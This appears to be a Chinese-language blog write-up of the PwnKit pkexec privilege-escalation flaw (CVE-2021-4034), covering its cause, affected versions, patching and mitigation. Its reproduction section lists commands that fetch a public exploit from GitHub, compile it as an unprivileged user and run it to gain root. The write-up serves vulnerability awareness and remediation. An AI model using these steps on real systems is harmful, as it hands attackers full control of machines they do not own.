漏洞介绍
该漏洞是 Linux 系统中 Polkit 组件的 pkexec 工具存在的本地权限提升漏洞,也被称为PwnKit。
漏洞原理
pkexec 是一个 SUID 工具,允许非特权用户根据策略以特权身份执行命令。漏洞源于 pkexec 在处理参数时逻辑错误,导致环境变量被错误地当作命令执行。攻击者通过构造恶意环境变量,可诱导 pkexec 加载并执行任意代码,最终实现普通用户到 root 的权限提升。
影响范围
受影响组件:所有 Linux 发行版预装的 Polkit 组件(自 2009 年首个版本起)。
高危版本:
CentOS 系列:
CentOS 6:polkit < 0.96-11.el6_10.2
CentOS 7:polkit < 0.112-26.el7_9.1
CentOS 8:polkit < 0.115-13.el8_5.1等
Ubuntu 系列:
Ubuntu 20.04 LTS:policykit-1 < 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 < 0.105-20ubuntu0.18.04.6等
其他发行版:Debian、Fedora 等均受影响。
漏洞复现
环境:centos7
替换阿里yum源
sed -i 's|^mirrorlist=|#mirrorlist=|g; s|^#baseurl=http://mirror.centos.org|baseurl=https://mirrors.aliyun.com|g' /etc/yum.repos.d/CentOS-Base.repo
yum clean all && yum makecache
安装编译环境
yum install -y gcc make glibc-devel shadow-utils which wget unzip
新增测试用户并切换
useradd test
su test
cd
下载CVE-2021-4034复现程序
wget https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main -O main.zip
编译
unzip main.zip
cd CVE-2021-4034-main/
make
执行
./cve-2021-4034
whoami
拿到root权限
漏洞危害
权限提升:非特权用户可利用漏洞获取 root 权限,完全控制目标系统。
攻击门槛低:无需复杂操作,普通用户即可触发漏洞(如通过恶意程序或脚本)。
漏洞利用公开:POC 已泄露,攻击者可直接利用。
修复建议
升级到安全版本:
CentOS:
yum clean all && yum makecache
yum update polkit -y
验证版本:rpm -qa polkit
Ubuntu:
sudo apt-get update
sudo apt-get install policykit-1
验证版本:dpkg -l policykit-1
提示以下内容说明漏洞被修复了
临时缓解措施(无补丁时):
chmod 0755 /usr/bin/pkexec # 删除SUID位,限制权限
参考链接:
Ubuntu 安全公告:CVE-2021-4034 | Ubuntu
注意事项
及时修复:漏洞风险极高,建议立即更新系统。
数据备份:升级前备份重要数据,避免意外问题。
监控日志:利用漏洞可能触发系统日志警告(如 “环境变量包含可疑内容”)。
该漏洞因长期未被修复且影响广泛,被称为 “神洞”,需高度重视。
评论